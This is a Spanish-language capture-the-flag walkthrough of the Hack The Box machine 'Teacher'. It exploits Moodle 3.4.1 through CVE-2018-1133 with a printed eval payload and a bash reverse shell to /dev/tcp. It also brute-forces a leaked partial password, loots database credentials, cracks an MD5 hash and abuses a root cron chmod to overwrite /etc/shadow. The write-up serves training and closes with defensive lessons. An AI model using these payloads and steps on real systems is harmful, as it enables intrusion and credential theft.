Teacher
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Teacher publica un Moodle 3.4.1 en/moodle. Una imagen de la web filtra casi toda la contraseña del profesorgiovanni(Th4C00lTheacha, le falta el último carácter); unwfuzzsobre el login recupera el carácter (#). Con rol de profesor se explota la inyección de código en las preguntas calculadas (CVE-2018-1133) y se obtiene shell comowww-data. Elconfig.phpda la contraseña de la base de datos; en MariaDB, la tablamdl_useresconde un hash MD5 (giovannibak) que se crackea aexpelled, reutilizable parasu giovanni. Por último, un cron ejecutabackup.shcon unchmod 777 -R: un enlace simbólico a/etc/shadowlo deja escribible y permite poner a root la contraseña conocida.
Reconocimiento
Ping
ping -c 1 10.10.10.153
PING 10.10.10.153 (10.10.10.153) 56(84) bytes of data.
64 bytes from 10.10.10.153: icmp_seq=1 ttl=63 time=110 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Barrido UDP: nada
Antes del TCP se lanza un barrido de los 100 puertos UDP más comunes. Sale vacío, pero se documenta porque descartarlo también es información: no hay SNMP, ni TFTP, ni DNS que enumerar.
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.153 | grep -v 'no-response'
Initiating UDP Scan at 14:22
Scanning 10.10.10.153 [100 ports]
Completed UDP Scan at 14:22, 1.32s elapsed (100 total ports)
Nmap scan report for 10.10.10.153
Host is up, received user-set (0.16s latency).
Not shown: 4 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 1.40 secondsEscaneo de puertos
El escaneo TCP completo, con -sS sobre los 65535 puertos, deja un único puerto abierto:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.153 -oG scan
Initiating SYN Stealth Scan at 14:23
Scanning 10.10.10.153 [65535 ports]
Discovered open port 80/tcp on 10.10.10.153
Completed SYN Stealth Scan at 14:23, 15.75s elapsed (65535 total ports)
Nmap scan report for 10.10.10.153
Host is up, received user-set (0.12s latency).
Not shown: 65532 closed tcp ports (reset), 2 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 15.83 secondsUn solo puerto abierto en toda la máquina. Eso condiciona toda la fase: todo tiene que salir del 80. El syn-ack ttl 63 confirma el TTL del ping. Una función auxiliar extrae los puertos del fichero grepeable:
extractPorts scan
Extracting information...
IP Address: 10.10.10.153
Open ports: 80
Ports copied to clipboardEl detalle de versiones muestra un Apache de Debian y un título curioso, Blackhat highschool:
nmap -p80 -sCV 10.10.10.153
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Blackhat highschool
|_http-server-header: Apache/2.4.25 (Debian)HTTP - TCP 80
Antes de fuzzear rutas, identificamos la pila tecnológica:
whatweb http://10.10.10.153
http://10.10.10.153 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], Email[contact@blackhatuni.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.153], JQuery[1.11.1], Script, Title[Blackhat highschool]Wappalyzer en el navegador añade el detalle de las librerías de cliente:

jQuery 1.11.1 es de 2014 y arrastra fallos conocidos de XSS y prototype pollution, así que se anota como posible vector. No acaba siendo el camino (esos fallos necesitan una víctima que ejecute el JavaScript, y aquí no hay ninguna), pero conviene tenerlo apuntado antes de descartarlo.
El código fuente de la portada tampoco esconde nada: es una plantilla HTML corriente, con enlaces a gallery.html y anclas vacías (href="#") en el menú:

<title>Blackhat highschool</title>
...
<nav id="menu">
<ul>
<li><a href="#">Courses</a></li>
<li><a href="gallery.html">Students</a></li>
<li><a href="#">Events</a></li>
</ul>
<ul>
<li><a href="gallery.html">Teachers</a></li>
<li><a href="gallery.html">Gallery</a></li>
</ul>
</nav>Un dirsearch revela varias rutas, pero la interesante es /moodle, que apunta a una instalación del CMS educativo Moodle:
dirsearch -u http://10.10.10.153/ --exclude-status=403,404
[14:29:08] 200 - 2KB - /gallery.html
[14:29:11] 301 - 313B - /images → http://10.10.10.153/images/
[14:29:17] 301 - 313B - /manual → http://10.10.10.153/manual/
[14:29:19] 301 - 313B - /moodle → http://10.10.10.153/moodle/Al abrir /moodle el sitio no resuelve: usa virtual hosting y el nombre teacher.htb no está en el /etc/hosts local. Se añade:

Ya resuelve y aparece el Moodle. La portada divulga el nombre de un profesor, Giovanni, un usuario candidato para el login:

Probar credenciales obvias (falla)
Con un nombre de usuario y sin contraseña, lo primero es descartar lo trivial: giovanni:giovanni.


Invalid login, please try againFalla, como era de esperar. Pero el intento no es tiempo perdido: sirve para ver el mensaje de error y, sobre todo, para comprobar que Moodle no bloquea la cuenta al primer fallo, algo que hará falta saber cuando más adelante lancemos 95 peticiones seguidas contra este mismo formulario.
moodlescan precisa la versión exacta vía /composer.lock: Moodle v3.4.1:
git clone https://github.com/inc0d3/moodlescan
python3 moodlescan.py -u http://teacher.htb/moodle
Getting server information http://teacher.htb/moodle ...
server : Apache/2.4.25 (Debian)
Getting moodle version ...
Version found via /composer.lock Moodle v3.4.1searchsploit confirma que esa versión tiene un RCE conocido:
searchsploit Moodle 3.4.1
Moodle 3.4.1 - Remote Code Execution | php/webapps/46551.phpAntes de intentar nada, leemos el exploit. La cabecera del fichero explica el requisito que condiciona todo lo que viene después:
searchsploit -m php/webapps/46551.php
mv 46551.php rce.php
cat rce.php
<?php
/**
* Exploit Title: Moodle v3.4.1 RCE Exploit
* Google Dork: inurl:"/course/jumpto.php?jump="
* Date: 15 March 2019
* Exploit Author: Darryn Ten
* Vendor Homepage: https://moodle.org
* Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip
* Version: 3.4.1 (Possibly < 3.5.0 and maybe even 3.x)
* Tested on: Linux with Moodle v3.4.1
*
* CVE : CVE-2018-1133
*
* This exploit is based on information provided by Robin Peraglie.
* Additional Reading: https://blog.ripstech.com/2018/moodle-remote-code-execution
*
* A user with the teacher role is able to execute arbitrary code."A user with the teacher role is able to execute arbitrary code": no es un RCE preautenticación. Sin credenciales de profesor el exploit no vale nada, así que la prioridad pasa de explotar a conseguir la contraseña de Giovanni.
Fuga de contraseña en /images
Con el Moodle bloqueado, volvemos al sitio principal. La ruta /images que había salido en el dirsearch es la única que no hemos mirado, así que descargamos el sitio recursivamente y buscamos en todo lo descargado las palabras que importan:
wget http://teacher.htb/ -r &>/dev/null
grep -riE 'pass|password|giovanni' .
./teacher.htb/images/5.png:I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha
./teacher.htb/images/5.png:GiovanniEl grep acierta sobre un PNG, que es lo llamativo: el fichero images/5.png no es una imagen válida sino un fichero de texto con extensión .png, por eso grep -r lo lee como texto plano y encuentra la nota. Un navegador lo habría mostrado como imagen rota y se habría pasado por alto.
El contenido es una nota del propio Giovanni: ha olvidado el último carácter de su contraseña, que es Th4C00lTheacha.
Shell como www-data
Recuperar el último carácter con wfuzz
Para fuzzear el login hace falta saber exactamente qué campos envía el formulario. Se lanza un login de prueba con el inspector abierto y se lee el cuerpo de la petición POST:

POST /moodle/login/index.php
anchor=&username=test&password=testTres parámetros: anchor (vacío), username y password. Con eso ya se puede construir el fuzzing. El diccionario no es una wordlist descargada sino los 95 caracteres ASCII imprimibles, generados con un bucle:
for i in {32..126}; do printf "\\$(printf '%03o' "$i")\n"; done > diccionario.txt
cat diccionario.txt
1
2 !
3 "
4 #
5 $
6 %
7 &
8 '
9 (
10 )
11 *
12 +
13 ,
...El bucle recorre los valores decimales del 32 al 126 (todo el rango imprimible de ASCII). printf '%03o' convierte cada número a su representación octal de tres dígitos y el printf "\\..." exterior imprime el carácter correspondiente. Resultado: 95 líneas, un carácter cada una.
Con los parámetros y el diccionario, el fuzzing sobre el POST de login, filtrando por la longitud de la respuesta de fallo (--hh=439):
wfuzz -u 'http://teacher.htb/moodle/login/index.php' \
-d 'anchor=&username=giovanni&password=Th4C00lTheachaFUZZ' \
-w diccionario.txt -t 100 --hh=439
ID Response Lines Word Chars Payload
000000004: 303 6 L 34 W 453 Ch "#"El único carácter con respuesta distinta (303, redirección de login correcto) es #: la contraseña completa es Th4C00lTheacha#. Lo comprobamos en el navegador:


Sesión de Giovanni Chhatta abierta, y el curso Algebra (course/view.php?id=2) visible con sus temas. Ya tenemos el rol de profesor que exigía el exploit.
CVE-2018-1133: RCE en las preguntas calculadas
El exploit trae sus propias instrucciones de uso en la cabecera:
cat rce.php | head -n 25
* Usage:
*
* > php MoodleExploit.php url=http://example.com user=teacher pass=password ip=10.10.10.10 port=1010 course=1
*
* user The account username
* pass The password to the account
* ip Callback IP
* port Callback PortDe los seis parámetros tenemos cinco; falta el course ID. Se saca del propio Moodle: entrando al perfil de Giovanni y pasando el ratón sobre el curso Algebra, la barra de estado del navegador muestra el enlace con el identificador:

http://teacher.htb/moodle/user/view.php?id=3&course=2Curso 2. Dejamos el listener a la escucha en el 4444 (el port que pasamos al exploit) y lanzamos:
penelopephp rce.php url=http://teacher.htb/moodle user=giovanni pass='Th4C00lTheacha#' \
ip=10.10.16.6 port=4444 course=2
*––––––––––––––––––––––––––––––*
* Noodle [Moodle RCE] (v3.4.1) *
*––––––––––––––––––––––––––––––*
[!] Make sure you have a listener
[!] at 10.10.16.6:4444
[*] Logging in as user giovanni with password Th4C00lTheacha#
[+] Successful Login
[>] Moodle Session t50e3dr7d0ktstoa5vqaad2np6
[>] Moodle Key aOLZLPT2Ex
[*] Loading Course ID 2
[+] Successfully Loaded Course
[*] Enable Editing
[+] Successfully Enabled Course Editing
[*] Adding Quiz
[+] Successfully Added Quiz
[*] Configuring New Quiz
[+] Successfully Configured Quiz[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.18.0.1 • 172.17.0.1 • 10.10.16.6
[+] Got reverse shell from teacher~10.10.10.153-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
www-data@teacher:/var/www/html/moodle/question$El listener es Penelope, un manejador de reverse shells que además de recibir la conexión la actualiza a PTY automáticamente (aquí con /usr/bin/python3) y registra la sesión en un log, lo que ahorra el tratamiento manual de la TTY.
La secuencia de mensajes del exploit describe exactamente lo que hace: entra con las credenciales, carga el curso, habilita la edición, crea un cuestionario y lo configura. Todo eso son acciones legítimas de un profesor; lo que convierte la última en ejecución de código es dónde acaba el texto de la fórmula.
La misma explotación a mano
El mismo fallo se puede explotar paso a paso desde la interfaz, y merece la pena porque enseña exactamente qué está pasando. El mecanismo está documentado en el análisis de SonarSource:
![La tabla del análisis de SonarSource comparando cuatro fórmulas matemáticas y su validez; la cuarta, /<em>{a</em>/<code>$_GET[0]</code>;//{x}}, aparece como válida](../assets/img/teacher/teach-231528.webp)
Nr. Math Formula validity Argument of `eval()`
1 `$_GET[0]` illegal
2 {a.`$_GET[0]`} valid $str = 1.2;
3 {a.`$_GET[0]`;{x}} valid $str= {a.`...
4 /*{a*/`$_GET[0]`;//{x}} valid $str= /*{a*...La tabla resume toda la vulnerabilidad. Moodle evalúa las fórmulas de las preguntas calculadas con eval() de PHP, y tiene un validador que rechaza lo que no parezca una fórmula. Las variables de sustitución (los {x} que Moodle reemplaza por números al generar la pregunta) son el hueco: si se anidan y se combinan con comentarios de PHP (/* */ y //), el validador da la fórmula por buena mientras el código de dentro llega intacto a eval(). La cuarta línea es el payload que usaremos.
/*{a*/`$_GET[0]`;//{x}}Las comillas invertidas de PHP son el operador de ejecución de shell, y $_GET[0] toma el parámetro 0 de la URL: cualquier cosa que pongamos en ?0=... se ejecuta como comando del sistema.
El recorrido por la interfaz, con la edición activada en el curso Algebra:







El tipo de pregunta importa: tiene que ser Calculated, porque es el único que evalúa una fórmula matemática del profesor. La descripción del propio Moodle lo confirma («Calculated questions are like numerical questions but with the numbers used selected randomly from a set»): esos números aleatorios son las variables {x} de las que abusa el payload.

Al guardar, Moodle pide configurar los conjuntos de datos de las variables, y ahí se ve la prueba de que el payload ha pasado el validador: el propio comodín aparece listado como si fuese una variable legítima.
![La pantalla "Choose wildcards dataset properties" listando dos comodines: {x} y {a*/<code>$_GET[0]</code>;//}, este último formado por el payload](../assets/img/teacher/teach-232246.webp)
Mandatory wild cards present in answers
Wild card {x} will use the same existing private dataset as before
Wild card {a*/`$_GET[0]`;//} will use the same existing private dataset as beforeMoodle ha interpretado {a*/$_GET[0];//} como el nombre de una variable de sustitución. Eso significa que el texto sobrevivió a la validación y va a llegar a eval() tal cual.
Solo falta disparar el comando. Se codifica la reverse shell en URL para que no se rompa con los espacios y los caracteres especiales:
python3 -c 'import sys,urllib.parse as u; print(u.quote(sys.argv[1]))' 'bash -c "bash -i &> /dev/tcp/10.10.16.6/4444 0>&1"'
bash%20-c%20%22bash%20-i%20%26%3E%20/dev/tcp/10.10.16.6/4444%200%3E%261%22Levantamos el listener:
penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.1.80 • 172.18.0.1 • 172.17.0.1 • 10.10.16.6Y añadimos el parámetro 0= con el payload codificado al final de la URL de la página de datasets, que es la que evalúa la fórmula:

http://teacher.htb/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=bash%20-c%20%22bash%20-i%20%26%3E%20/dev/tcp/10.10.16.6/4444%200%3E%261%22
[+] Got reverse shell from teacher~10.10.10.153-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/sessions/teacher~10.10.10.153-Linux-x86_64/2025_11_07-23_47_57-408.log
www-data@teacher:/var/www/html/moodle/question$ whoami
www-dataMismo resultado que el exploit automatizado, pero entendiendo cada paso.
Acceso como giovanni
config.php → MariaDB
Con shell de www-data en el directorio del Moodle, lo primero es su fichero de configuración. Se buscan todos los config.php del sistema y luego se filtran por palabras clave:
find / -name config.php 2>/dev/null
find / -type f -name config.php 2>/dev/null -exec grep -iE 'password|dbpass|dbpassword|pwd' {} + 2>/dev/null
/var/www/moodledata/muc/config.php
/var/www/html/moodle/cache/classes/config.php
/var/www/html/moodle/lib/editor/tinymce/plugins/spellchecker/config.php
/var/www/html/moodle/config.php
/var/www/html/moodle/mod/chat/gui_ajax/theme/course_theme/config.php
...
/usr/share/phpmyadmin/setup/config.php
/var/www/html/moodle/config.php:$CFG->dbpass = 'Welkom1!';El primer find devuelve una docena de ficheros; el segundo, con -exec grep, reduce todo eso a una sola línea útil. Es el patrón que conviene interiorizar: buscar por nombre da ruido, buscar por nombre y filtrar por contenido da el dato.
Con esa contraseña se entra en MariaDB:
mysql -u root -p
show databases;
use moodle;
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 71428
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
| mysql |
| performance_schema |
| phpmyadmin |
+--------------------+
5 rows in set (0.00 sec)
MariaDB [(none)]> use moodle;
Database changedLa contraseña del config.php funciona para el usuario root de MariaDB, no para un usuario limitado: la instalación de Moodle guarda las credenciales del administrador de la base de datos en un fichero que lee el servidor web. Además de moodle aparece phpmyadmin, coherente con el config.php que había salido en /usr/share/phpmyadmin/setup/.
show tables;

| mdl_user |
| mdl_user_devices |
| mdl_user_enrolments |
| mdl_user_info_category |
| mdl_user_info_data |
| mdl_user_info_field |
| mdl_user_lastaccess |
| mdl_user_password_history |
| mdl_user_password_resets |
| mdl_user_preferences |
| mdl_user_private_key |De las más de trescientas tablas de Moodle, tres tienen que ver con contraseñas: mdl_user, mdl_user_password_history y mdl_user_password_resets. Empezamos por la principal. Tres de los cuatro hashes son bcrypt, pero el del usuario Giovannibak parece un MD5:
select * from mdl_user;
giovannibak 7a860966115182402ed06375cf0a22afLa diferencia se ve a simple vista: los bcrypt empiezan por $2y$10$ y ocupan 60 caracteres, mientras que este son 32 caracteres hexadecimales sin prefijo, la firma de MD5. El sufijo bak del nombre delata además que es una cuenta de respaldo, probablemente creada antes de que Moodle migrase a bcrypt.
Crackear el MD5
hashcat -m 0 hash rockyou.txt
7a860966115182402ed06375cf0a22af:expelledLa contraseña expelled sirve para saltar de www-data a giovanni (reutilización de credenciales tras el crackeo): una credencial recuperada se prueba en las cuentas del sistema, porque reutilizarlas es lo habitual.

www-data@teacher:/var/www/html/moodle$ su giovanni
Password:
giovanni@teacher:/var/www/html/moodle$ id
uid=1000(giovanni) gid=1000(giovanni) groups=1000(giovanni)La flag de usuario:

giovanni@teacher:~$ cat user.txt
2b8948533b1879f076a642bea0150dc6Escalada de privilegios
Un cron sospechoso
Sin nada evidente en sudo -l, la pregunta es qué se ejecuta en la máquina que no vemos. En lugar de subir un binario, escribimos un monitor de procesos de siete líneas: guarda la salida de ps, la vuelve a pedir en bucle y muestra la diferencia, filtrando el ruido propio.
nano procmon.sh
cat procmon.sh
./procmon.sh
#!/bin/bash
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|procmon|kworker"
old_process=$new_process
done
> /usr/sbin/CRON -f
> /bin/sh -c /usr/bin/backup.sh
> /bin/bash /usr/bin/backup.sh
> tar -xf backup_courses.tar.gz
> gzip -d
< /bin/bash /usr/bin/backup.sh
< /usr/sbin/CRON -f
< /bin/sh -c /usr/bin/backup.sh
< /bin/bash /usr/bin/backup.sh
< tar -xf backup_courses.tar.gz
< gzip -dCada > es un proceso que aparece y cada < uno que desaparece. El ciclo completo se repite periódicamente: CRON lanza /usr/bin/backup.sh, que a su vez ejecuta tar y gzip. Los grep excluyen la cabecera command de ps, el propio script y los hilos kworker del kernel, que si no inundarían la salida.
El contenido del script es la clave:

#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -RCorre como root y termina con un chmod 777 * -R sobre el directorio tmp, que está bajo control de giovanni.
Abuso del cron vía symlink
El chmod 777 -R sigue los enlaces simbólicos. Sustituyendo tmp por un enlace a /etc/shadow, el cron pondrá ese fichero en modo 777, escribible por cualquiera:
rm -r tmp/
ln -s /etc/shadow /home/giovanni/work/tmp
ls -lDespués de que pase el cron, editamos el fichero a través del enlace y copiamos el hash de giovanni (cuya contraseña, expelled, ya conocemos) sobre la línea de root:
nano tmp
cat tmp
giovanni@teacher:~/work$ ls -l
total 4
drwxrwxrwx 3 giovanni giovanni 4096 Nov 7 17:59 courses
lrwxrwxrwx 1 giovanni giovanni 11 Nov 7 18:37 tmp -> /etc/shadow
giovanni@teacher:~/work$ cat tmp
root:$6$RiDoH4VN$WamVNCkuoZyN1uM6hmyKKt6GwGWAamiQM3SYCrr5lmUYnmV7vpBNkYZCHqjh7UDtsdF8NbGjM7dJPIsxeFkrx0:17709:0:99999:7:::
daemon:*:17708:0:99999:7:::
bin:*:17708:0:99999:7:::
sys:*:17708:0:99999:7:::
...
www-data:*:17708:0:99999:7:::
...
mysql:!:17708:0:99999:7:::
giovanni:$6$RiDoH4VN$WamVNCkuoZyN1uM6hmyKKt6GwGWAamiQM3SYCrr5lmUYnmV7vpBNkYZCHqjh7UDtsdF8NbGjM7dJPIsxeFkrx0:17709:0:99999:7:::Las dos líneas resaltadas comparten el mismo hash $6$RiDoH4VN$Wam...: la edición ya está hecha. Que el cat a través del symlink funcione es en sí la prueba de que el chmod 777 del cron se aplicó sobre /etc/shadow, un fichero que normalmente solo puede leer root.
A partir de ahí, root usa la misma contraseña que giovanni:
su root # contraseña: expelled
giovanni@teacher:~/work$ su root
Password:
root@teacher:/home/giovanni/work# cat /root/root.txt
2fd86600a5d0f455564e150757fb94f0Cadena de ataque
TTL 63 (Linux) ─▶ UDP sin resultados ─▶ nmap -p-: solo 80 HTTP ─▶ /moodle ─▶ vhost teacher.htb
│
▼
Moodle 3.4.1 (moodlescan) + fuga en images/5.png (Th4C00lTheacha?)
│ wfuzz sobre los 95 ASCII imprimibles ─▶ giovanni:Th4C00lTheacha#
▼
CVE-2018-1133 (preguntas calculadas, eval) ─▶ shell www-data
│ config.php: dbpass Welkom1! ─▶ MariaDB mdl_user ─▶ MD5 giovannibak
▼
hashcat ─▶ expelled ─▶ su giovanni ─▶ user.txt
│ procmon.sh ─▶ cron backup.sh: chmod 777 -R sobre tmp
▼
symlink tmp → /etc/shadow ─▶ shadow 777 ─▶ hash de giovanni en root ─▶ su root ─▶ root.txtLecciones aprendidas
- Lo que se "olvida" en una imagen también lo lee el atacante. Una captura con casi toda la contraseña reduce el espacio de búsqueda a un solo carácter: lo que parecía un secreto pasa a ser un fuzzing de 95 intentos. No incrustar credenciales (ni siquiera parciales) en recursos públicos.
- La extensión de un fichero no dice qué contiene.
images/5.pngera texto plano, por eso lo encontrógrep -ry no el navegador. Descargar el sitio y buscar por contenido, no por tipo. - Leer el exploit antes de lanzarlo ahorra tiempo. La cabecera de
46551.phpdecía en una línea que hacía falta rol de profesor; eso redirigió toda la fase de enumeración hacia buscar credenciales. - Moodle desactualizado = RCE con rol de profesor. CVE-2018-1133 convierte la función legítima de fórmulas calculadas en ejecución de PHP por
eval(). Mantener el CMS parcheado y limitar quién tiene rol de profesor reduce drásticamente la superficie. - Un
config.phpde CMS suele guardar credenciales de administrador de base de datos. Aquí eldbpassera el delrootde MariaDB, no el de un usuario limitado. Cuenta de aplicación con permisos mínimos y fichero de configuración fuera del document root. - Reutilización de credenciales tras crackear. Un MD5 sin sal en la base de datos (
giovannibak) cae al instante con rockyou y la contraseña sirve para el usuario del sistema. Algoritmos lentos y con sal (bcrypt) y no reutilizar contraseñas entre servicios. chmod -Ren cron es peligroso. Aplicar permisos recursivos sobre un directorio escribible por otro usuario, siguiendo enlaces simbólicos, permite exponer/etc/shadow. Los scripts privilegiados deben operar en rutas no manipulables, evitar comodines y--no-dereferenceal tocar permisos.